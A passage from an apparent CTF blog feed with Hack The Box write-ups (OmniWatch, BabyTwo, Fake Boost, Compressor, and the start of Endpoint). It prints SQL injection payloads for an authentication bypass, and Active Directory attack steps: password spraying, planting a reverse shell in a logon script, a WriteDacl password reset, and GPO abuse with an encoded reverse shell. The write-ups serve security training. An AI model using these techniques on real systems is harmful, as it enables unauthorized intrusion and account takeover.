<pre><code class="lang-apache">@<span class="hljs-attribute">web</span>.route(<span class="hljs-string">"/device/&lt;id&gt;"</span>, methods=[<span class="hljs-string">"GET"</span>])
@<span class="hljs-attribute">moderator_middleware</span>
<span class="hljs-attribute">def</span> device(id):
    <span class="hljs-attribute">mysql_interface</span> = MysqlInterface(current_app.config)
    <span class="hljs-attribute">device</span> = mysql_interface.fetch_device(id)

    <span class="hljs-attribute">if</span> not device:
        <span class="hljs-attribute">return</span> redirect(<span class="hljs-string">"/controller/home"</span>)

    <span class="hljs-attribute">return</span> render_template(<span class="hljs-string">"device.html"</span>, user_data=request.user_data, nav_enabled=True, title=f<span class="hljs-string">"OmniWatch - Device {device['device_id']}"</span>, device=device)
</code></pre>
<p>At the <code>/controller/device/&lt;id&gt;</code> route an instance of <code>MysqlInterface</code> is created which then calls the method <code>fetch_device</code> with the provided <code>id</code> as it's parameter.</p>
<p>By having a look at <code>challenge/controller/application/util/database</code> we discover that this query is vulnerable to SQL injection.</p>
<p>Let’s create URL encoded SQLi Payloads to enter in /device/{id}</p>
<p><strong>NOTE: DON’T FORGET TO ADD SPACE AFTER EACH PAYLOAD SUCH THAT YOUR PAYLOAD SHOULD END WITH A SPACE OR %20 IN URL ENCODING</strong></p>
<p>First Let’s check whether multi-statement execution is allowed</p>
<pre><code class="lang-apache"><span class="hljs-attribute">1</span>' OR '<span class="hljs-number">1</span>'='<span class="hljs-number">1</span>'; SELECT SLEEP(<span class="hljs-number">3</span>); --
</code></pre>
<p>Use CyberChef to URL encode this payload with all special characters and put it after /controller/device/{id}</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760889338914/bb89c928-d87a-4603-8d0b-76fd1c3b311d.png" alt class="image--center mx-auto" /></p>
<p>Since it perfectly executed it means multiline statement is allowed so we can stack an UPDATE after a SELECT</p>
<p>Now take the signature of the new JWT token you created above and convert it into hex using cyberchef again and put 0x in front of it</p>
<p><strong>FOR EXAMPLE: (yours will be different)</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span>.eyJ<span class="hljs-number">1</span>c<span class="hljs-number">2</span>VyX<span class="hljs-number">2</span>lkIjoxLCJ<span class="hljs-number">1</span>c<span class="hljs-number">2</span>VybmFtZSI<span class="hljs-number">6</span>InJlYXBzZWMiLCJhY<span class="hljs-number">2</span>NvdW<span class="hljs-number">50</span>X<span class="hljs-number">3</span>R<span class="hljs-number">5</span>cGUiOiJhZG<span class="hljs-number">1</span>pbmlzdHJhdG<span class="hljs-number">9</span>yIn<span class="hljs-number">0</span>.OajF<span class="hljs-number">7</span>Qjvy<span class="hljs-number">2</span>CmC<span class="hljs-number">6</span>VuBBYxP<span class="hljs-number">1</span>H<span class="hljs-number">9</span>YEy<span class="hljs-number">51</span>SsTGVpnN<span class="hljs-number">8</span>Gl<span class="hljs-number">5</span>e<span class="hljs-number">4</span>
</code></pre>
<p>This is my own jwt token which i created using above script now i am taking its signature (means third part among three parts divided by . )</p>
<pre><code class="lang-apache"><span class="hljs-attribute">OajF7Qjvy2CmC6VuBBYxP1H9YEy51SsTGVpnN8Gl5e4</span>
</code></pre>
<p>Now head to Cyberchef and convert it into hex and put 0x in front of it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760889738984/67b7faee-01bb-4a66-8a21-9dbe641b69f1.png" alt class="image--center mx-auto" /></p>
<p>So the final signature will be</p>
<pre><code class="lang-apache"><span class="hljs-attribute">0x4f616a4637516a767932436d43365675424259785031483959457935315373544756706e4e38476c356534</span>
</code></pre>
<p><strong>#ABOVE WAS JUST AN EXAMPLE YOUR VALUES WILL BE DIFFERENT</strong></p>
<p>Now let’s create a final payload to add our signature in the database to bypass the authentication</p>
<pre><code class="lang-apache"><span class="hljs-attribute">1</span>' OR '<span class="hljs-number">1</span>'='<span class="hljs-number">1</span>' LIMIT <span class="hljs-number">1</span>; UPDATE signatures SET signature = YOUR_SIGNATURE WHERE user_id = <span class="hljs-number">1</span>; --
</code></pre>
<p><strong>(don’t forget to check the space after the payload and be sure that your URL encoded payload ends with %20 )</strong></p>
<p>URL ENCODE THIS PAYLOAD IN CYBERCHEF</p>
<p>Now put this payload same as before in place of id in <strong>/controller/device/id</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760890283861/c5284e4e-659c-4059-9dfc-1f6f14585edb.png" alt class="image--center mx-auto" /></p>
<p>If it shows no error that means it is added in the database</p>
<p><strong>Now quickly copy your new jwt which you had created from above script and now change it in the cookies of this website and then go to /controller/admin</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760890388424/98b2706b-fa44-4958-bfbc-546c044e85d3.png" alt class="image--center mx-auto" /></p>
<p>And we will get the Flag !!</p>
<h3 id="heading-note">NOTE:</h3>
<p><strong><mark>If you don’t see flag check your payload once again and now do it from webhook step again like use that jwt you got in webhook to go to admin dashboard and you already have the secret and custom jwt you created so no need to do that again so just enter the signature payload once again , don’t enter the multiline checking payload this time and then change the jwt in cookies with your custom made and again try accessing /controller/admin and you will get the flag.</mark></strong></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760890655403/c8d01d2f-859f-4cb0-8f9c-e17437967225.png" alt class="image--center mx-auto" /></p>
<p>FOR FULL DETAILS ABOUT VULNERABILITY AND THE CHALLENGE PLEASE CHECK OUT <a target="_blank" href="https://app.hackthebox.com/challenges/OmniWatch/walkthroughs"><strong>OFFICIAL WALKTHROUGH</strong></a> OF HACK THE BOX</p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[BabyTwo]]></title><description><![CDATA[OVERVIEW


So we have given IP address of the machine so Let’s head to Nmap to scan this IP

As you can see we came to found the open ports and machine host name and its DC name So add both of them into /etc/hosts

So As we don’t have user password l...]]></description><link>https://blog.reapsec.com/babytwo-htb</link><guid isPermaLink="true">https://blog.reapsec.com/babytwo-htb</guid><category><![CDATA[babytwo]]></category><category><![CDATA[babytwo-htb]]></category><category><![CDATA[Retired Machine]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[challenges]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[machines]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Mon, 13 Oct 2025 17:35:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760273601279/de86e2db-0940-4a79-b6b7-9f175486f8f5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760359871436/552ddd32-2393-4d80-a756-45cf78a07d1d.png" alt class="image--center mx-auto" /></p>
<p>So we have given IP address of the machine so Let’s head to Nmap to scan this IP</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760273879813/3663710d-630f-4de7-a631-912e40c5eb63.png" alt class="image--center mx-auto" /></p>
<p>As you can see we came to found the open ports and machine host name and its DC name So add both of them into <strong>/etc/hosts</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760360111156/fef94e80-4df2-42fd-9c52-0777e26a8e13.png" alt class="image--center mx-auto" /></p>
<p>So As we don’t have user password lets just try using guest login as guest as username and empty password</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb #MACHINE_IP -u guest -p ''
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760360267812/a995d366-0832-41e2-9f21-1b1d70c1a4be.png" alt class="image--center mx-auto" /></p>
<p>Here we go guest is allowed to access SMB server so Now let’s use <strong>smbmap</strong> to access the shares:</p>
<pre><code class="lang-apache"><span class="hljs-attribute">smbmap</span> -H <span class="hljs-number">10.129.179.22</span> -u guest -p ''
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760360456626/221fb7ac-c0c7-424c-8300-a9de4b673805.png" alt class="image--center mx-auto" /></p>
<p>And we can see there is a share named as <strong>homes</strong> which guest user have READ,WRITE access</p>
<p>So Let’s access the share using <strong>smbclient</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">smbclient</span> -U 'guest%' '//baby<span class="hljs-number">2</span>.vl/homes'
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760360744830/1df952c4-f1bf-4526-b8f3-7a8c5fccc264.png" alt class="image--center mx-auto" /></p>
<p>We successfully got the access to the share and in that we can see there is a list of users so we can just save the users into a file</p>
<p>Now Since we have users but don’t have their password so there is a slight chance that some of the users are using their name as both USERNAME and PASSWORD<br />So let’s check it by spraying their username and password with the name of the users we got using <strong>netexec</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.179.22</span> -u users.txt -p users.txt --no-bruteforce --continue-<span class="hljs-literal">on</span>-success
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760362297569/7d2eafd7-819f-4715-af9c-f587d7fa9bae.png" alt class="image--center mx-auto" /></p>
<p>Got two users who has set their username as their password so Now Let’s Access the shares using any of the user using smbmap again</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760362665498/a2b43631-c87c-453e-be0f-48990d1ddf58.png" alt class="image--center mx-auto" /></p>
<p>we got READ and WRITE access on docs and apps shares</p>
<p>So let’s check it out:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760367990115/e4eaa833-9cce-4dce-9c12-f1032c7549d1.png" alt /></p>
<p>When I checked It is empty so let’s check SYSVOL share too</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760368521778/ffc2587d-ed30-4618-9633-28e37e40fedd.png" alt class="image--center mx-auto" /></p>
<p>I saw <strong>login.vbs</strong> file so let’s see what it consist of</p>
<pre><code class="lang-apache"><span class="hljs-attribute">Sub</span> MapNetworkShare(sharePath, driveLetter)
    <span class="hljs-attribute">Dim</span> objNetwork
    <span class="hljs-attribute">Set</span> objNetwork = CreateObject(<span class="hljs-string">"WScript.Network"</span>)    

    ' <span class="hljs-attribute">Check</span> if the drive is already mapped
    <span class="hljs-attribute">Dim</span> mappedDrives
    <span class="hljs-attribute">Set</span> mappedDrives = objNetwork.EnumNetworkDrives
    <span class="hljs-attribute">Dim</span> isMapped
    <span class="hljs-attribute">isMapped</span> = False
    <span class="hljs-attribute">For</span> i = <span class="hljs-number">0</span> To mappedDrives.Count - <span class="hljs-number">1</span> Step <span class="hljs-number">2</span>
        <span class="hljs-attribute">If</span> UCase(mappedDrives.Item(i)) = UCase(driveLetter &amp; <span class="hljs-string">":"</span>) Then
            <span class="hljs-attribute">isMapped</span> = True
            <span class="hljs-attribute">Exit</span> For
        <span class="hljs-attribute">End</span> If
    <span class="hljs-attribute">Next</span>

    <span class="hljs-attribute">If</span> isMapped Then
        <span class="hljs-attribute">objNetwork</span>.RemoveNetworkDrive driveLetter &amp; <span class="hljs-string">":"</span>, True, True
    <span class="hljs-attribute">End</span> If

    <span class="hljs-attribute">objNetwork</span>.MapNetworkDrive driveLetter &amp; <span class="hljs-string">":"</span>, sharePath

    <span class="hljs-attribute">If</span> Err.Number = <span class="hljs-number">0</span> Then
        <span class="hljs-attribute">WScript</span>.Echo <span class="hljs-string">"Mapped "</span> &amp; driveLetter &amp; <span class="hljs-string">": to "</span> &amp; sharePath
    <span class="hljs-attribute">Else</span>
        <span class="hljs-attribute">WScript</span>.Echo <span class="hljs-string">"Failed to map "</span> &amp; driveLetter &amp; <span class="hljs-string">": "</span> &amp; Err.Description
    <span class="hljs-attribute">End</span> If

    <span class="hljs-attribute">Set</span> objNetwork = Nothing
<span class="hljs-attribute">End</span> Sub

<span class="hljs-attribute">MapNetworkShare</span> <span class="hljs-string">"\\dc.baby2.vl\apps"</span>, <span class="hljs-string">"V"</span>
<span class="hljs-attribute">MapNetworkShare</span> <span class="hljs-string">"\\dc.baby2.vl\docs"</span>, <span class="hljs-string">"L"</span>
</code></pre>
<p>This script is a logon script for users and it maps network shares. This means that it will be executed every time a user logs in. Since we have write access to this two share, we can embed a malicious reverse shell inside this file so that when a user logs in, it will be executed and give us a shell</p>
<hr />
<h2 id="heading-user-flag-local-shell">USER FLAG / LOCAL SHELL</h2>
<p>So first let’s head to <a target="_blank" href="https://www.revshells.com/"><strong>revshells.com</strong></a> and go to PowerShell base64 payloads</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760369606116/f639c5d5-00b1-436d-92a9-10439b69d3ee.png" alt class="image--center mx-auto" /></p>
<p><strong>NOTE: Keep In Mind To Change LOCAL MACHINE IP and Port</strong></p>
<p>Now edit the login.vbs file in your local machine and put below commands in it :</p>
<pre><code class="lang-apache"><span class="hljs-attribute">Set</span> oShell = CreateObject(<span class="hljs-string">"WScript.Shell"</span>)
<span class="hljs-attribute">oShell</span>.run <span class="hljs-string">"your-powershell-payload"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760370099841/fe5361ff-73d9-446b-ad19-3731f320417c.png" alt class="image--center mx-auto" /></p>
<p>now go to the SMB shell and remove the file then again put it from the same directory where you had saved login.vbs</p>
<pre><code class="lang-apache"><span class="hljs-attribute">del</span> login.vbs
<span class="hljs-attribute">put</span> login.vbs
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760371197534/d1c36380-3d37-4390-83ee-673ad06a5f78.png" alt class="image--center mx-auto" /></p>
<p>Open a netcat shell on the port on your local Machine and you will get a shell</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760371441427/149341da-e52f-4d39-b3d6-ce6a03399ad7.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760371525150/6f990967-e763-4359-b5e1-bb6283847e4b.png" alt /></p>
<p>So we are logged in with amelia.griffiths id</p>
<p><strong>Now Go To C:\ and get User Flag</strong></p>
<hr />
<h2 id="heading-privilege-escalation-root-flag">PRIVILEGE ESCALATION / ROOT FLAG</h2>
<p>Now Remember we have Carle.Moore Id and Password So we can run bloodhound with it</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodhound</span>-python -u Carl.Moore -p Carl.Moore -d baby<span class="hljs-number">2</span>.vl -ns <span class="hljs-number">10.129.179.22</span> -c <span class="hljs-literal">ALL</span> --zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760372310915/d3e9ed13-93c8-4d34-8063-15a70a352428.png" alt class="image--center mx-auto" /></p>
<p>Now Let’s Analyze it in bloodhound So open neo4j and run bloodhound</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760372807882/5e2fcda9-289e-4116-8da5-1e8e8b024a67.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760373212858/2c89fa39-204b-40c4-a8d3-665d33d9d3d9.png" alt class="image--center mx-auto" /></p>
<p>As you can see we own Amelia Griffiths user so shortest path from owned principal is above and we can notice that it is a member of <strong>LEGACY@BABY2.VL</strong> so we can see it has a WriteDacl to the user <strong>GPOADM@BABY2.VL</strong> then after owning that user we can do generic all for privilege escalation.</p>
<hr />
<h2 id="heading-writedacl">WRITEDACL</h2>
<p>Now to do this attack you must have <strong>PowerView.ps1</strong> module so first git clone or download it from <a target="_blank" href="https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon">https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon</a> to your local machine.</p>
<p>Now start a local python server in that directory where you had downloaded the PowerView.ps1 module</p>
<pre><code class="lang-apache"><span class="hljs-attribute">python3</span> -m http.server <span class="hljs-number">8000</span>
</code></pre>
<p>and in PS C:\Temp&gt; download this module from the local machine to the shell</p>
<pre><code class="lang-apache"><span class="hljs-attribute">Invoke</span>-WebRequest -Uri 'http://LOCAL-SERVER-IP:<span class="hljs-number">8000</span>/PowerView.ps<span class="hljs-number">1</span>' -OutFile 'C:\Temp\PowerView.ps<span class="hljs-number">1</span>'
. <span class="hljs-attribute">C</span>:\Temp\PowerView.ps<span class="hljs-number">1</span>
</code></pre>
<p>Now after running PowerView.ps1 module do this to change GPOADMIN Account password</p>
<pre><code class="lang-apache"><span class="hljs-attribute">add</span>-domainobjectacl -rights <span class="hljs-string">"all"</span> -targetidentity <span class="hljs-string">"gpoadm"</span> -principalidentity <span class="hljs-string">"Amelia.Griffiths"</span>

$<span class="hljs-attribute">cred</span> = ConvertTo-SecureString 'Password<span class="hljs-number">123</span>!' -AsPlainText -Force

<span class="hljs-attribute">set</span>-domainuserpassword gpoadm -accountpassword $cred
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760375429787/5afdb7c1-9022-4338-9199-660633e8bb5b.png" alt class="image--center mx-auto" /></p>
<p>Here We go our WriteDacl Attack was successful</p>
<hr />
<h2 id="heading-generic-all">GENERIC ALL</h2>
<p>Now Let’s Get the root shell using Generic All Method which in case is ACL over the Group Policy Objects</p>
<p>For this we will use <a target="_blank" href="https://github.com/Hackndo/pyGPOAbuse"><strong>pyGPOAbuse</strong></a> tool</p>
<p><strong>In Your Local Machine terminal use this below command and the PowerShell rev shell is same as before (don’t include PowerShell -e )</strong></p>
<p><strong>BE SURE TO PUT DIFFERENT PORT FROM BEFORE TO AVOID GETTING SAME LOCAL SHELL AGAIN</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">python3</span> pygpoabuse.py baby<span class="hljs-number">2</span>.vl/gpoadm:'Password<span class="hljs-number">123</span>!' -command <span class="hljs-string">"powershell -exec bypass -enc base64-rev-powershell"</span>  -dc-ip ATTACK-MACHINE-IP -gpo-id <span class="hljs-string">"YOUR-GPO-ID"</span>
</code></pre>
<p>You will get you GPO ID from your bloodhound in Node properties section</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760375829176/fd15672f-a342-40bc-910c-1ba9dbb2af73.png" alt class="image--center mx-auto" /></p>
<p><strong>Example cmd:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760376047707/1f8d770f-fa35-495a-aa61-bf1330f9f6b3.png" alt class="image--center mx-auto" /></p>
<p><strong>Schedule Task is successfully created.</strong></p>
<p>Now go to the local shell you got earlier and enter the command to get the root shell</p>
<pre><code class="lang-apache"><span class="hljs-attribute">gpupdate</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760376310292/fc84fb4c-c1e7-4696-85fd-7b9f2156384b.png" alt /></p>
<p>Now do netcat shell</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nc</span> -lvnp <span class="hljs-number">9000</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760376400932/4b579733-190b-4028-81e9-5c113c0dccde.png" alt /></p>
<p>Here We Go !!</p>
<p>We got the root shell now get the root.txt from <strong>C:\Users\Administrator\root.txt</strong></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760376615600/cba13757-7f6f-4914-b703-b0a33c99b7a7.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Fake Boost]]></title><description><![CDATA[OVERVIEW


So we are given some file to download . Let’s download it and check it out
We got a capture.pcapng file . Let’s open it in wireshark to analyze it

We can see a different types of packets Now let’s filer out them with http

So Let’s Follow...]]></description><link>https://blog.reapsec.com/fake-boost-htb</link><guid isPermaLink="true">https://blog.reapsec.com/fake-boost-htb</guid><category><![CDATA[fake boost htb]]></category><category><![CDATA[Fake Boost]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[challenges]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#Walkthroughs]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[forensics]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Thu, 09 Oct 2025 14:17:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760015468344/cd1fb0dd-c874-452a-be02-d70ea9e63fe1.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760015837715/a3eca29d-126f-46a9-bc4f-3dff9ecb6405.png" alt class="image--center mx-auto" /></p>
<p>So we are given some file to download . Let’s download it and check it out</p>
<p>We got a <strong>capture.pcapng</strong> file . Let’s open it in wireshark to analyze it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760017048428/9fde7c43-ec44-4a47-b201-5286141f2e1c.png" alt class="image--center mx-auto" /></p>
<p>We can see a different types of packets Now let’s filer out them with http</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760017104505/bf4f3334-792d-465a-a56e-6cb86b575516.png" alt class="image--center mx-auto" /></p>
<p>So Let’s Follow the first packet into TCP Stream and see what it has to read</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760017594014/f6a91bec-6038-4ac7-b357-0d9669008f26.png" alt class="image--center mx-auto" /></p>
<p>As you can see there is a large string in the packet in which you can see the operation that are performed on it which is</p>
<p>1) Reverse</p>
<p>2) Base64</p>
<p>So Let’s decode the given string according to this format also so head to <a target="_blank" href="https://gchq.github.io/CyberChef/"><strong>CyberChef</strong></a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760017775315/110a52b8-a90e-4302-aef4-4d2c3ec5397f.png" alt class="image--center mx-auto" /></p>
<p>Here we go we got the plaintext So Let’s Copy it and Paste it where we can read the output clearly (I am using Notepad for this)</p>
<p>On Scrolling these details i came to a part where it is written Part 1 and it had a base64 string</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760017942940/0c1c0ed3-89a9-4aa0-a68a-d1aeb6408c67.png" alt class="image--center mx-auto" /></p>
<p>Let’s Base64 decode it:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760018067584/f5eee173-605e-4e5e-a411-011398bcdeef.png" alt class="image--center mx-auto" /></p>
<p>BOOM! We got the First part of our flag Now Let’s Find Another One!</p>
<p>Searching in the earlier text i found an <strong>AES base64 encoded key</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760018521144/6da9636d-209e-4d94-96d6-100bb12f36c1.png" alt class="image--center mx-auto" /></p>
<p>If this is here that means there will an AES encoded cipher So Let’s find the cipher among the earlier wireshark http packets</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760018243815/55cf1c7c-122f-42c3-bbb7-de8c7a359bd1.png" alt class="image--center mx-auto" /></p>
<p>Here I found One more packet request suspicious so Let’s follow it in TCP Stream too!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760018285220/533688d1-e731-4a10-88a0-f780582bc2bd.png" alt class="image--center mx-auto" /></p>
<p>Well, It looks like a AES encoded string so let’s decode it again in <a target="_blank" href="https://www.devglan.com/online-tools/aes-encryption-decryption"><strong>AES ONLINE DECODER</strong></a></p>
<p>First Let’s decode the AES key into plaintext from base64</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760018837063/ffa690ce-f8ef-4616-8895-9b0cda36c912.png" alt class="image--center mx-auto" /></p>
<p>And we got the plaintext now let’s head to the online AES decoder to decode the AES ciphertext</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760019027050/0c8bcd7f-51dc-48f6-85e5-46e0be495156.png" alt class="image--center mx-auto" /></p>
<p>We got some Output Let’s copy it again and paste it to where we can read it easily</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760019117602/f87536fc-c7d6-44ef-8581-bab893409e0c.png" alt class="image--center mx-auto" /></p>
<p>We got some Base64 encoded data in Email Parameter So Let’s decode it in CyberChef</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760019234087/7b0d112f-def1-47ba-991a-bb60403ad5e8.png" alt class="image--center mx-auto" /></p>
<p>Here We Go We Got Our 2nd Part Of The Flag Also !!</p>
<p>Now Join Them And Enter The Flag</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760019341008/c0b2c4c1-cb88-427d-96bd-34c39b300cf5.jpeg" alt /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Compressor]]></title><description><![CDATA[OVERVIEW


So we were given an instance so let’s start it and head to our attacker machine to nc into it

Here we can see there is a choosing components functionality in which there is a function to create artifact in the form of zip
Seeing this I th...]]></description><link>https://blog.reapsec.com/compressor-htb</link><guid isPermaLink="true">https://blog.reapsec.com/compressor-htb</guid><category><![CDATA[compressor htb writeup]]></category><category><![CDATA[compressor writeup]]></category><category><![CDATA[htb misc writeup]]></category><category><![CDATA[writeups]]></category><category><![CDATA[#Walkthroughs]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[misc]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sun, 05 Oct 2025 12:22:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666377933/ccf629d9-a8c9-447b-bb48-fc2209cdcb2e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666425097/8a3b89cb-b372-4952-be0b-159e02abda4c.png" alt class="image--center mx-auto" /></p>
<p>So we were given an instance so let’s start it and head to our attacker machine to nc into it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666483323/f0ea1292-f2c6-4a63-a86f-00825e6c88a5.png" alt class="image--center mx-auto" /></p>
<p>Here we can see there is a choosing components functionality in which there is a function to create artifact in the form of <strong>zip</strong></p>
<p>Seeing this I think about zip vulnerabilities but then i thought let’s start from <a target="_blank" href="https://gtfobins.github.io/gtfobins/zip/"><strong>GTFO bins</strong></a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666625148/9b640996-4e49-4669-bddb-e686e96dc42d.png" alt class="image--center mx-auto" /></p>
<p>Bravo! We got a way to spawn an interactive shell so let’s use it</p>
<p>Let’s Start with creating an Artifact first by choosing option 1</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666665190/f784b00f-7cdc-43b0-b493-b7dd8e0c7f99.png" alt class="image--center mx-auto" /></p>
<p>Artifact is created successfully now choose 3 to compress artifact into zip and enter payload inside it as shown below</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666755296/62215470-be6f-4e64-a1e9-28dec11d999f.png" alt class="image--center mx-auto" /></p>
<p>Here we go We got the shell and also the directory in which we are so just now go to ctf directory and get the flag.txt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666806560/b1ffde41-a55c-40d4-aaa6-71bf94a93614.png" alt /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759666859422/a68af448-196f-4df2-aeb4-ec66e09c9a50.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Endpoint]]></title><description><![CDATA[OVERVIEW


Let’s inspect the downloaded Capture.pcap file in wireshark

Let’s follow any one request into TCP stream as it looks like some data is present there

We can see a long list of strings like this:

So There are two ways to solve this challe...]]></description><link>https://blog.reapsec.com/endpoint-htb</link><guid isPermaLink="true">https://blog.reapsec.com/endpoint-htb</guid><category><![CDATA[endpoint htb writeup]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[HTB Machines]]></category><category><![CDATA[hack-the-box]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[challenge]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[forensics]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sat, 04 Oct 2025 02:28:16 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759542856076/e8d8eeb5-b11d-4a2d-b8f6-219ece372aa0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759542880677/9be1061e-8830-4a22-8127-858a0d504321.png" alt class="image--center mx-auto" /></p>
<p>Let’s inspect the downloaded <strong>Capture.pcap</strong> file in wireshark</p>
